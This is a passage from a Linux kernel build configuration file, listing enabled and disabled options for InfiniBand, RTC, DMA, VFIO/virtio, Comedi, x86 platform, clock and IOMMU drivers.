CONFIG_INFINIBAND_USER_MAD=y
CONFIG_INFINIBAND_USER_ACCESS=y
CONFIG_INFINIBAND_USER_ACCESS_CORE=y
CONFIG_INFINIBAND_USER_MEM=y
CONFIG_INFINIBAND_ON_DEMAND_PAGING=y
CONFIG_INFINIBAND_ADDR_TRANS=y
CONFIG_INFINIBAND_ADDR_TRANS_CONFIGFS=y
CONFIG_INFINIBAND_VIRT_DMA=y
# CONFIG_INFINIBAND_EFA is not set
# CONFIG_INFINIBAND_ERDMA is not set
CONFIG_MLX4_INFINIBAND=y
# CONFIG_INFINIBAND_MTHCA is not set
# CONFIG_INFINIBAND_OCRDMA is not set
# CONFIG_INFINIBAND_USNIC is not set
# CONFIG_INFINIBAND_VMWARE_PVRDMA is not set
# CONFIG_INFINIBAND_RDMAVT is not set
CONFIG_RDMA_RXE=y
CONFIG_RDMA_SIW=y
CONFIG_INFINIBAND_IPOIB=y
CONFIG_INFINIBAND_IPOIB_CM=y
CONFIG_INFINIBAND_IPOIB_DEBUG=y
# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
CONFIG_INFINIBAND_SRP=y
# CONFIG_INFINIBAND_SRPT is not set
CONFIG_INFINIBAND_ISER=y
CONFIG_INFINIBAND_RTRS=y
CONFIG_INFINIBAND_RTRS_CLIENT=y
# CONFIG_INFINIBAND_RTRS_SERVER is not set
CONFIG_EDAC_ATOMIC_SCRUB=y
CONFIG_EDAC_SUPPORT=y
CONFIG_EDAC=y
# CONFIG_EDAC_DEBUG is not set
# CONFIG_EDAC_DECODE_MCE is not set
# CONFIG_EDAC_SCRUB is not set
# CONFIG_EDAC_ECS is not set
# CONFIG_EDAC_MEM_REPAIR is not set
# CONFIG_EDAC_E752X is not set
# CONFIG_EDAC_I82975X is not set
# CONFIG_EDAC_I3000 is not set
# CONFIG_EDAC_I3200 is not set
# CONFIG_EDAC_IE31200 is not set
# CONFIG_EDAC_X38 is not set
# CONFIG_EDAC_I5400 is not set
# CONFIG_EDAC_I7CORE is not set
# CONFIG_EDAC_I5100 is not set
# CONFIG_EDAC_I7300 is not set
# CONFIG_EDAC_SBRIDGE is not set
# CONFIG_EDAC_SKX is not set
# CONFIG_EDAC_I10NM is not set
# CONFIG_EDAC_IMH is not set
# CONFIG_EDAC_PND2 is not set
# CONFIG_EDAC_IGEN6 is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_MC146818_LIB=y
CONFIG_RTC_CLASS=y
# CONFIG_RTC_HCTOSYS is not set
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set
# CONFIG_RTC_NVMEM is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_ABB5ZES3 is not set
# CONFIG_RTC_DRV_ABEOZ9 is not set
# CONFIG_RTC_DRV_ABX80X is not set
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_HYM8563 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_MAX31335 is not set
# CONFIG_RTC_DRV_NCT3018Y is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_ISL12026 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF85363 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_TWL4030 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8010 is not set
# CONFIG_RTC_DRV_RX8111 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3028 is not set
# CONFIG_RTC_DRV_RV3032 is not set
# CONFIG_RTC_DRV_RV8803 is not set
# CONFIG_RTC_DRV_SD2405AL is not set
# CONFIG_RTC_DRV_SD3078 is not set

#
# SPI RTC drivers
#
# CONFIG_RTC_DRV_M41T93 is not set
# CONFIG_RTC_DRV_M41T94 is not set
# CONFIG_RTC_DRV_DS1302 is not set
# CONFIG_RTC_DRV_DS1305 is not set
# CONFIG_RTC_DRV_DS1343 is not set
# CONFIG_RTC_DRV_DS1347 is not set
# CONFIG_RTC_DRV_DS1390 is not set
# CONFIG_RTC_DRV_MAX6916 is not set
# CONFIG_RTC_DRV_R9701 is not set
# CONFIG_RTC_DRV_RX4581 is not set
# CONFIG_RTC_DRV_RS5C348 is not set
# CONFIG_RTC_DRV_MAX6902 is not set
# CONFIG_RTC_DRV_PCF2123 is not set
# CONFIG_RTC_DRV_MCP795 is not set
CONFIG_RTC_I2C_AND_SPI=y

#
# SPI and I2C RTC drivers
#
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_PCF2127 is not set
# CONFIG_RTC_DRV_PCF85063 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set
# CONFIG_RTC_DRV_RX6110 is not set

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_CMOS=y
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_ZYNQMP is not set

#
# on-CPU RTC drivers
#
# CONFIG_RTC_DRV_CADENCE is not set
# CONFIG_RTC_DRV_FTRTC010 is not set
# CONFIG_RTC_DRV_R7301 is not set
# CONFIG_RTC_DRV_GOLDFISH is not set

#
# HID Sensor RTC drivers
#
CONFIG_RTC_DRV_HID_SENSOR_TIME=y
CONFIG_DMADEVICES=y
# CONFIG_DMADEVICES_DEBUG is not set

#
# DMA Devices
#
CONFIG_DMA_ENGINE=y
CONFIG_DMA_VIRTUAL_CHANNELS=y
CONFIG_DMA_ACPI=y
CONFIG_DMA_OF=y
# CONFIG_ALTERA_MSGDMA is not set
# CONFIG_DW_AXI_DMAC is not set
# CONFIG_FSL_EDMA is not set
CONFIG_INTEL_IDMA64=y
# CONFIG_INTEL_IDXD is not set
# CONFIG_INTEL_IDXD_COMPAT is not set
CONFIG_INTEL_IOATDMA=y
# CONFIG_PLX_DMA is not set
# CONFIG_SWITCHTEC_DMA is not set
# CONFIG_XILINX_DMA is not set
# CONFIG_XILINX_XDMA is not set
# CONFIG_XILINX_ZYNQMP_DPDMA is not set
# CONFIG_AMD_PTDMA is not set
# CONFIG_AMD_QDMA is not set
# CONFIG_QCOM_HIDMA_MGMT is not set
# CONFIG_QCOM_HIDMA is not set
CONFIG_DW_DMAC_CORE=y
# CONFIG_DW_DMAC is not set
# CONFIG_DW_DMAC_PCI is not set
# CONFIG_DW_EDMA is not set
CONFIG_HSU_DMA=y
# CONFIG_SF_PDMA is not set
# CONFIG_INTEL_LDMA is not set

#
# DMA Clients
#
CONFIG_ASYNC_TX_DMA=y
# CONFIG_DMATEST is not set
CONFIG_DMA_ENGINE_RAID=y

#
# DMABUF options
#
CONFIG_SYNC_FILE=y
CONFIG_SW_SYNC=y
CONFIG_UDMABUF=y
# CONFIG_DMABUF_DEBUG is not set
CONFIG_DMABUF_HEAPS=y
CONFIG_DMABUF_HEAPS_SYSTEM=y
# CONFIG_DMABUF_HEAPS_SYSTEM_CC_SHARED is not set
CONFIG_DMABUF_HEAPS_CMA=y
# end of DMABUF options

CONFIG_DCA=y
# CONFIG_UIO is not set
CONFIG_VFIO=y
CONFIG_VFIO_DEVICE_CDEV=y
# CONFIG_VFIO_GROUP is not set
# CONFIG_VFIO_NOIOMMU is not set
CONFIG_VFIO_VIRQFD=y
# CONFIG_VFIO_DEBUGFS is not set

#
# VFIO support for PCI devices
#
CONFIG_VFIO_PCI_CORE=y
CONFIG_VFIO_PCI_INTX=y
CONFIG_VFIO_PCI=y
# CONFIG_VFIO_PCI_VGA is not set
# CONFIG_VFIO_PCI_IGD is not set
# CONFIG_VIRTIO_VFIO_PCI is not set
# end of VFIO support for PCI devices

CONFIG_IRQ_BYPASS_MANAGER=y
# CONFIG_VIRT_DRIVERS is not set
CONFIG_VIRTIO_ANCHOR=y
CONFIG_VIRTIO=y
CONFIG_VIRTIO_PCI_LIB=y
CONFIG_VIRTIO_PCI_LIB_LEGACY=y
CONFIG_VIRTIO_MENU=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_PCI_ADMIN_LEGACY=y
CONFIG_VIRTIO_PCI_LEGACY=y
CONFIG_VIRTIO_VDPA=y
CONFIG_VIRTIO_PMEM=y
CONFIG_VIRTIO_BALLOON=y
CONFIG_VIRTIO_MEM=y
CONFIG_VIRTIO_INPUT=y
CONFIG_VIRTIO_MMIO=y
CONFIG_VIRTIO_MMIO_CMDLINE_DEVICES=y
CONFIG_VIRTIO_DMA_SHARED_BUFFER=y
# CONFIG_VIRTIO_DEBUG is not set
# CONFIG_VIRTIO_RTC is not set
CONFIG_VDPA=y
CONFIG_VDPA_SIM=y
CONFIG_VDPA_SIM_NET=y
CONFIG_VDPA_SIM_BLOCK=y
# CONFIG_VDPA_USER is not set
# CONFIG_IFCVF is not set
# CONFIG_MLX5_VDPA_STEERING_DEBUG is not set
CONFIG_VP_VDPA=y
# CONFIG_ALIBABA_ENI_VDPA is not set
# CONFIG_SNET_VDPA is not set
# CONFIG_OCTEONEP_VDPA is not set
CONFIG_VHOST_IOTLB=y
CONFIG_VHOST_RING=y
CONFIG_VHOST_TASK=y
CONFIG_VHOST=y
CONFIG_VHOST_MENU=y
CONFIG_VHOST_NET=y
# CONFIG_VHOST_SCSI is not set
CONFIG_VHOST_VSOCK=y
CONFIG_VHOST_VDPA=y
CONFIG_VHOST_CROSS_ENDIAN_LEGACY=y
CONFIG_VHOST_ENABLE_FORK_OWNER_CONTROL=y

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV is not set
# end of Microsoft Hyper-V guest support

CONFIG_GREYBUS=y
# CONFIG_GREYBUS_BEAGLEPLAY is not set
CONFIG_GREYBUS_ES2=y
CONFIG_COMEDI=y
# CONFIG_COMEDI_DEBUG is not set
CONFIG_COMEDI_DEFAULT_BUF_SIZE_KB=2048
CONFIG_COMEDI_DEFAULT_BUF_MAXSIZE_KB=20480
CONFIG_COMEDI_MISC_DRIVERS=y
CONFIG_COMEDI_BOND=y
CONFIG_COMEDI_TEST=y
CONFIG_COMEDI_PARPORT=y
CONFIG_COMEDI_ISA_DRIVERS=y
CONFIG_COMEDI_PCL711=y
CONFIG_COMEDI_PCL724=y
CONFIG_COMEDI_PCL726=y
CONFIG_COMEDI_PCL730=y
CONFIG_COMEDI_PCL812=y
CONFIG_COMEDI_PCL816=y
CONFIG_COMEDI_PCL818=y
CONFIG_COMEDI_PCM3724=y
CONFIG_COMEDI_AMPLC_DIO200_ISA=y
CONFIG_COMEDI_AMPLC_PC236_ISA=y
CONFIG_COMEDI_AMPLC_PC263_ISA=y
CONFIG_COMEDI_RTI800=y
CONFIG_COMEDI_RTI802=y
CONFIG_COMEDI_DAC02=y
CONFIG_COMEDI_DAS16M1=y
CONFIG_COMEDI_DAS08_ISA=y
# CONFIG_COMEDI_DAS16 is not set
CONFIG_COMEDI_DAS800=y
CONFIG_COMEDI_DAS1800=y
CONFIG_COMEDI_DAS6402=y
CONFIG_COMEDI_DT2801=y
CONFIG_COMEDI_DT2811=y
CONFIG_COMEDI_DT2814=y
CONFIG_COMEDI_DT2815=y
CONFIG_COMEDI_DT2817=y
CONFIG_COMEDI_DT282X=y
CONFIG_COMEDI_DMM32AT=y
CONFIG_COMEDI_FL512=y
CONFIG_COMEDI_AIO_AIO12_8=y
CONFIG_COMEDI_AIO_IIRO_16=y
# CONFIG_COMEDI_II_PCI20KC is not set
CONFIG_COMEDI_C6XDIGIO=y
CONFIG_COMEDI_MPC624=y
CONFIG_COMEDI_ADQ12B=y
CONFIG_COMEDI_NI_AT_A2150=y
CONFIG_COMEDI_NI_AT_AO=y
# CONFIG_COMEDI_NI_ATMIO is not set
CONFIG_COMEDI_NI_ATMIO16D=y
CONFIG_COMEDI_NI_LABPC_ISA=y
CONFIG_COMEDI_PCMAD=y
CONFIG_COMEDI_PCMDA12=y
CONFIG_COMEDI_PCMMIO=y
CONFIG_COMEDI_PCMUIO=y
CONFIG_COMEDI_MULTIQ3=y
CONFIG_COMEDI_S526=y
CONFIG_COMEDI_PCI_DRIVERS=y
CONFIG_COMEDI_8255_PCI=y
# CONFIG_COMEDI_ADDI_APCI_1032 is not set
# CONFIG_COMEDI_ADDI_APCI_1500 is not set
# CONFIG_COMEDI_ADDI_APCI_1516 is not set
# CONFIG_COMEDI_ADDI_APCI_1564 is not set
# CONFIG_COMEDI_ADDI_APCI_16XX is not set
# CONFIG_COMEDI_ADDI_APCI_2032 is not set
# CONFIG_COMEDI_ADDI_APCI_2200 is not set
# CONFIG_COMEDI_ADDI_APCI_3120 is not set
# CONFIG_COMEDI_ADDI_APCI_3501 is not set
# CONFIG_COMEDI_ADDI_APCI_3XXX is not set
# CONFIG_COMEDI_ADL_PCI6208 is not set
# CONFIG_COMEDI_ADL_PCI7250 is not set
# CONFIG_COMEDI_ADL_PCI7X3X is not set
# CONFIG_COMEDI_ADL_PCI8164 is not set
# CONFIG_COMEDI_ADL_PCI9111 is not set
CONFIG_COMEDI_ADL_PCI9118=y
# CONFIG_COMEDI_ADV_PCI1710 is not set
# CONFIG_COMEDI_ADV_PCI1720 is not set
# CONFIG_COMEDI_ADV_PCI1723 is not set
# CONFIG_COMEDI_ADV_PCI1724 is not set
# CONFIG_COMEDI_ADV_PCI1760 is not set
# CONFIG_COMEDI_ADV_PCI_DIO is not set
# CONFIG_COMEDI_AMPLC_DIO200_PCI is not set
# CONFIG_COMEDI_AMPLC_PC236_PCI is not set
# CONFIG_COMEDI_AMPLC_PC263_PCI is not set
# CONFIG_COMEDI_AMPLC_PCI224 is not set
# CONFIG_COMEDI_AMPLC_PCI230 is not set
# CONFIG_COMEDI_CONTEC_PCI_DIO is not set
# CONFIG_COMEDI_DAS08_PCI is not set
# CONFIG_COMEDI_DT3000 is not set
# CONFIG_COMEDI_DYNA_PCI10XX is not set
# CONFIG_COMEDI_GSC_HPDI is not set
# CONFIG_COMEDI_MF6X4 is not set
# CONFIG_COMEDI_ICP_MULTI is not set
# CONFIG_COMEDI_DAQBOARD2000 is not set
# CONFIG_COMEDI_JR3_PCI is not set
# CONFIG_COMEDI_KE_COUNTER is not set
# CONFIG_COMEDI_CB_PCIDAS64 is not set
# CONFIG_COMEDI_CB_PCIDAS is not set
# CONFIG_COMEDI_CB_PCIDDA is not set
# CONFIG_COMEDI_CB_PCIMDAS is not set
# CONFIG_COMEDI_CB_PCIMDDA is not set
# CONFIG_COMEDI_ME4000 is not set
# CONFIG_COMEDI_ME_DAQ is not set
# CONFIG_COMEDI_NI_6527 is not set
# CONFIG_COMEDI_NI_65XX is not set
# CONFIG_COMEDI_NI_660X is not set
# CONFIG_COMEDI_NI_670X is not set
CONFIG_COMEDI_NI_LABPC_PCI=y
# CONFIG_COMEDI_NI_PCIDIO is not set
# CONFIG_COMEDI_NI_PCIMIO is not set
# CONFIG_COMEDI_RTD520 is not set
# CONFIG_COMEDI_S626 is not set
CONFIG_COMEDI_PCMCIA_DRIVERS=y
# CONFIG_COMEDI_CB_DAS16_CS is not set
# CONFIG_COMEDI_DAS08_CS is not set
CONFIG_COMEDI_NI_DAQ_700_CS=y
# CONFIG_COMEDI_NI_DAQ_DIO24_CS is not set
CONFIG_COMEDI_NI_LABPC_CS=y
# CONFIG_COMEDI_NI_MIO_CS is not set
# CONFIG_COMEDI_QUATECH_DAQP_CS is not set
CONFIG_COMEDI_USB_DRIVERS=y
CONFIG_COMEDI_DT9812=y
CONFIG_COMEDI_NI_USB6501=y
CONFIG_COMEDI_USBDUX=y
CONFIG_COMEDI_USBDUXFAST=y
CONFIG_COMEDI_USBDUXSIGMA=y
CONFIG_COMEDI_VMK80XX=y
CONFIG_COMEDI_8254=y
CONFIG_COMEDI_8255=y
CONFIG_COMEDI_8255_SA=y
CONFIG_COMEDI_KCOMEDILIB=y
CONFIG_COMEDI_AMPLC_DIO200=y
CONFIG_COMEDI_AMPLC_PC236=y
CONFIG_COMEDI_DAS08=y
CONFIG_COMEDI_ISADMA=y
CONFIG_COMEDI_NI_LABPC=y
CONFIG_COMEDI_NI_LABPC_ISADMA=y
# CONFIG_COMEDI_TESTS is not set
# CONFIG_GPIB is not set
CONFIG_STAGING=y
# CONFIG_RTL8723BS is not set

#
# IIO staging drivers
#

#
# Accelerometers
#
# CONFIG_ADIS16203 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD7816 is not set
# end of Analog to digital converters

#
# Analog digital bi-direction converters
#
# CONFIG_ADT7316 is not set
# end of Analog digital bi-direction converters

#
# Direct Digital Synthesis
#
# CONFIG_AD9832 is not set
# CONFIG_AD9834 is not set
# end of Direct Digital Synthesis

#
# Network Analyzer, Impedance Converters
#
# CONFIG_AD5933 is not set
# end of Network Analyzer, Impedance Converters
# end of IIO staging drivers

# CONFIG_FB_SM750 is not set
# CONFIG_STAGING_MEDIA is not set
# CONFIG_FB_TFT is not set
# CONFIG_MOST_COMPONENTS is not set
# CONFIG_GREYBUS_AUDIO is not set
# CONFIG_GREYBUS_BOOTROM is not set
# CONFIG_GREYBUS_FIRMWARE is not set
CONFIG_GREYBUS_HID=y
# CONFIG_GREYBUS_LOG is not set
# CONFIG_GREYBUS_LOOPBACK is not set
# CONFIG_GREYBUS_POWER is not set
# CONFIG_GREYBUS_RAW is not set
# CONFIG_GREYBUS_VIBRATOR is not set
CONFIG_GREYBUS_BRIDGED_PHY=y
# CONFIG_GREYBUS_GPIO is not set
# CONFIG_GREYBUS_I2C is not set
# CONFIG_GREYBUS_SDIO is not set
# CONFIG_GREYBUS_SPI is not set
# CONFIG_GREYBUS_UART is not set
CONFIG_GREYBUS_USB=y
# CONFIG_XIL_AXIS_FIFO is not set
# CONFIG_VME_BUS is not set
# CONFIG_GOLDFISH is not set
# CONFIG_CHROME_PLATFORMS is not set
# CONFIG_MELLANOX_PLATFORM is not set
CONFIG_SURFACE_PLATFORMS=y
# CONFIG_SURFACE3_WMI is not set
# CONFIG_SURFACE_3_POWER_OPREGION is not set
# CONFIG_SURFACE_ACPI_NOTIFY is not set
# CONFIG_SURFACE_AGGREGATOR_CDEV is not set
# CONFIG_SURFACE_AGGREGATOR_HUB is not set
CONFIG_SURFACE_AGGREGATOR_REGISTRY=y
# CONFIG_SURFACE_AGGREGATOR_TABLET_SWITCH is not set
# CONFIG_SURFACE_DTX is not set
# CONFIG_SURFACE_GPE is not set
# CONFIG_SURFACE_HOTPLUG is not set
# CONFIG_SURFACE_PLATFORM_PROFILE is not set
# CONFIG_SURFACE_PRO3_BUTTON is not set
CONFIG_SURFACE_AGGREGATOR=y
CONFIG_SURFACE_AGGREGATOR_BUS=y
CONFIG_X86_PLATFORM_DEVICES=y
CONFIG_WMI_BMOF=y
# CONFIG_HUAWEI_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_UNIWILL is not set
# CONFIG_MXM_WMI is not set
# CONFIG_NVIDIA_WMI_EC_BACKLIGHT is not set
# CONFIG_XIAOMI_WMI is not set
# CONFIG_REDMI_WMI is not set
# CONFIG_GIGABYTE_WMI is not set
# CONFIG_BITLAND_MIFS_WMI is not set
# CONFIG_ACERHDF is not set
# CONFIG_ACER_WIRELESS is not set
# CONFIG_ACER_WMI is not set

#
# AMD HSMP Driver
#
# CONFIG_AMD_HSMP_ACPI is not set
# CONFIG_AMD_HSMP_PLAT is not set
# end of AMD HSMP Driver

# CONFIG_AMD_PMC is not set
# CONFIG_AMD_HFI is not set
# CONFIG_AMD_3D_VCACHE is not set
# CONFIG_AMD_WBRF is not set
# CONFIG_AMD_ISP_PLATFORM is not set
# CONFIG_ADV_SWBUTTON is not set
# CONFIG_APPLE_GMUX is not set
# CONFIG_ASUS_LAPTOP is not set
# CONFIG_ASUS_WIRELESS is not set
# CONFIG_ASUS_ARMOURY is not set
CONFIG_ASUS_WMI=y
# CONFIG_ASUS_WMI_DEPRECATED_ATTRS is not set
# CONFIG_ASUS_NB_WMI is not set
CONFIG_ASUS_TF103C_DOCK=y
# CONFIG_AYANEO_EC is not set
CONFIG_EEEPC_LAPTOP=y
# CONFIG_EEEPC_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set
# CONFIG_AMILO_RFKILL is not set
# CONFIG_FUJITSU_LAPTOP is not set
# CONFIG_FUJITSU_TABLET is not set
# CONFIG_GPD_POCKET_FAN is not set
# CONFIG_X86_PLATFORM_DRIVERS_HP is not set
# CONFIG_WIRELESS_HOTKEY is not set
# CONFIG_IBM_RTL is not set
# CONFIG_SENSORS_HDAPS is not set
# CONFIG_INTEL_ATOMISP2_PM is not set
# CONFIG_INTEL_IFS is not set
# CONFIG_INTEL_SAR_INT1092 is not set
# CONFIG_INTEL_SKL_INT3472 is not set

#
# Intel Speed Select Technology interface support
#
# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set
# end of Intel Speed Select Technology interface support

# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set
# CONFIG_INTEL_WMI_THUNDERBOLT is not set

#
# Intel Uncore Frequency Control
#
# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set
# end of Intel Uncore Frequency Control

# CONFIG_INTEL_HID_EVENT is not set
# CONFIG_INTEL_VBTN is not set
# CONFIG_INTEL_EHL_PSE_IO is not set
# CONFIG_INTEL_INT0002_VGPIO is not set
# CONFIG_INTEL_OAKTRAIL is not set
# CONFIG_INTEL_BXTWC_PMIC_TMU is not set
CONFIG_INTEL_CHTWC_INT33FE=y
CONFIG_INTEL_ISHTP_ECLITE=y
# CONFIG_INTEL_PUNIT_IPC is not set
# CONFIG_INTEL_RST is not set
# CONFIG_INTEL_SMARTCONNECT is not set
# CONFIG_INTEL_TURBO_MAX_3 is not set
# CONFIG_INTEL_VSEC is not set
# CONFIG_IDEAPAD_LAPTOP is not set
# CONFIG_LENOVO_WMI_HOTKEY_UTILITIES is not set
# CONFIG_LENOVO_WMI_CAMERA is not set
# CONFIG_THINKPAD_ACPI is not set
# CONFIG_THINKPAD_LMI is not set
# CONFIG_YOGABOOK is not set
# CONFIG_YT2_1380 is not set
# CONFIG_LENOVO_WMI_GAMEZONE is not set
# CONFIG_LENOVO_WMI_TUNING is not set
# CONFIG_ACPI_QUICKSTART is not set
# CONFIG_MEEGOPAD_ANX7428 is not set
# CONFIG_MSI_EC is not set
# CONFIG_MSI_LAPTOP is not set
# CONFIG_MSI_WMI is not set
# CONFIG_MSI_WMI_PLATFORM is not set
# CONFIG_PCENGINES_APU2 is not set
# CONFIG_PORTWELL_EC is not set
# CONFIG_BARCO_P50_GPIO is not set
# CONFIG_SAMSUNG_GALAXYBOOK is not set
# CONFIG_SAMSUNG_LAPTOP is not set
# CONFIG_SAMSUNG_Q10 is not set
# CONFIG_ACPI_TOSHIBA is not set
# CONFIG_TOSHIBA_BT_RFKILL is not set
# CONFIG_TOSHIBA_HAPS is not set
# CONFIG_TOSHIBA_WMI is not set
# CONFIG_ACPI_CMPC is not set
# CONFIG_COMPAL_LAPTOP is not set
# CONFIG_LG_LAPTOP is not set
# CONFIG_PANASONIC_LAPTOP is not set
# CONFIG_SONY_LAPTOP is not set
# CONFIG_SYSTEM76_ACPI is not set
# CONFIG_TOPSTAR_LAPTOP is not set
# CONFIG_SERIAL_MULTI_INSTANTIATE is not set
# CONFIG_INSPUR_PLATFORM_PROFILE is not set
# CONFIG_DASHARO_ACPI is not set
# CONFIG_INTEL_IPS is not set
CONFIG_INTEL_SCU_IPC=y
# CONFIG_INTEL_SCU_PCI is not set
# CONFIG_INTEL_SCU_PLATFORM is not set
# CONFIG_SIEMENS_SIMATIC_IPC is not set
# CONFIG_SILICOM_PLATFORM is not set
# CONFIG_WINMATE_FM07_KEYS is not set
# CONFIG_OXP_EC is not set
# CONFIG_TUXEDO_NB04_WMI_AB is not set
CONFIG_P2SB=y
CONFIG_ACPI_WMI=y
# CONFIG_ACPI_WMI_LEGACY_DEVICE_NAMES is not set
CONFIG_HAVE_CLK=y
CONFIG_HAVE_CLK_PREPARE=y
CONFIG_COMMON_CLK=y
# CONFIG_LMK04832 is not set
# CONFIG_COMMON_CLK_MAX9485 is not set
# CONFIG_COMMON_CLK_SI5341 is not set
# CONFIG_COMMON_CLK_SI5351 is not set
# CONFIG_COMMON_CLK_SI514 is not set
# CONFIG_COMMON_CLK_SI544 is not set
# CONFIG_COMMON_CLK_SI570 is not set
# CONFIG_COMMON_CLK_CDCE706 is not set
# CONFIG_COMMON_CLK_CDCE925 is not set
# CONFIG_COMMON_CLK_CS2000_CP is not set
# CONFIG_CLK_TWL is not set
# CONFIG_COMMON_CLK_AXI_CLKGEN is not set
# CONFIG_COMMON_CLK_RS9_PCIE is not set
# CONFIG_COMMON_CLK_SI521XX is not set
# CONFIG_COMMON_CLK_VC3 is not set
# CONFIG_COMMON_CLK_VC5 is not set
# CONFIG_COMMON_CLK_VC7 is not set
# CONFIG_COMMON_CLK_FIXED_MMIO is not set
# CONFIG_CLK_LGM_CGU is not set
# CONFIG_XILINX_VCU is not set
# CONFIG_COMMON_CLK_XLNX_CLKWZRD is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
# end of Clock Source drivers

CONFIG_MAILBOX=y
# CONFIG_PLATFORM_MHU is not set
CONFIG_PCC=y
# CONFIG_ALTERA_MBOX is not set
# CONFIG_MAILBOX_TEST is not set
CONFIG_IOMMU_IOVA=y
CONFIG_IOMMU_API=y
CONFIG_IOMMUFD_DRIVER=y
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# end of Generic IOMMU Pagetable Support

# CONFIG_IOMMU_DEBUGFS is not set
# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set
CONFIG_IOMMU_DEFAULT_DMA_LAZY=y
# CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set
CONFIG_OF_IOMMU=y
CONFIG_IOMMU_DMA=y
CONFIG_IOMMU_SVA=y
CONFIG_IOMMU_IOPF=y
CONFIG_AMD_IOMMU=y
# CONFIG_AMD_IOMMU_IOMMUFD is not set
CONFIG_DMAR_TABLE=y
CONFIG_INTEL_IOMMU=y
CONFIG_INTEL_IOMMU_SVM=y
CONFIG_INTEL_IOMMU_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_PERF_EVENTS=y
CONFIG_IOMMUFD_DRIVER_CORE=y
CONFIG_IOMMUFD=y
CONFIG_IOMMUFD_TEST=y
CONFIG_IRQ_REMAP=y
# CONFIG_VIRTIO_IOMMU is not set
CONFIG_GENERIC_PT=y
CONFIG_DEBUG_GENERIC_PT=y
CONFIG_IOMMU_PT=y
CONFIG_IOMMU_PT_AMDV1=y
CONFIG_IOMMU_PT_VTDSS=y
# CONFIG_IOMMU_PT_RISCV64 is not set
CONFIG_IOMMU_PT_X86_64=y

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set
# end of Remoteproc drivers

#
# Rpmsg drivers
#
# CONFIG_RPMSG_QCOM_GLINK_RPM is not set
# CONFIG_RPMSG_VIRTIO is not set
# end of Rpmsg drivers

CONFIG_SOUNDWIRE=y

#
# SoundWire Devices
#
# CONFIG_SOUNDWIRE_AMD is not set
# CONFIG_SOUNDWIRE_INTEL is not set
# CONFIG_SOUNDWIRE_QCOM is not set

#
# SOC (System On Chip) specific Drivers
#

#
# Amlogic SoC drivers
#
# end of Amlogic SoC drivers

#
# Broadcom SoC drivers
#
# end of Broadcom SoC drivers

#
# NXP/Freescale QorIQ SoC drivers
#
# end of NXP/Freescale QorIQ SoC drivers

#
# fujitsu SoC drivers
#
# end of fujitsu SoC drivers

#
# i.MX SoC drivers
#
# end of i.MX SoC drivers

#
# Enable LiteX SoC Builder specific drivers
#
# CONFIG_LITEX_SOC_CONTROLLER is not set
# end of Enable LiteX SoC Builder specific drivers

# CONFIG_WPCM450_SOC is not set
CONFIG_QCOM_QMI_HELPERS=y
# CONFIG_SOC_TI is not set

#
# Xilinx SoC drivers
#
# end of Xilinx SoC drivers
# end of SOC (System On Chip) specific Drivers

#
# PM Domains
#

#
# Amlogic PM Domains
#
# end of Amlogic PM Domains

#
# Broadcom PM Domains
#
# end of Broadcom PM Domains

#
# i.MX PM Domains
#
# end of i.MX PM Domains

#
# Qualcomm PM Domains
#
# end of Qualcomm PM Domains
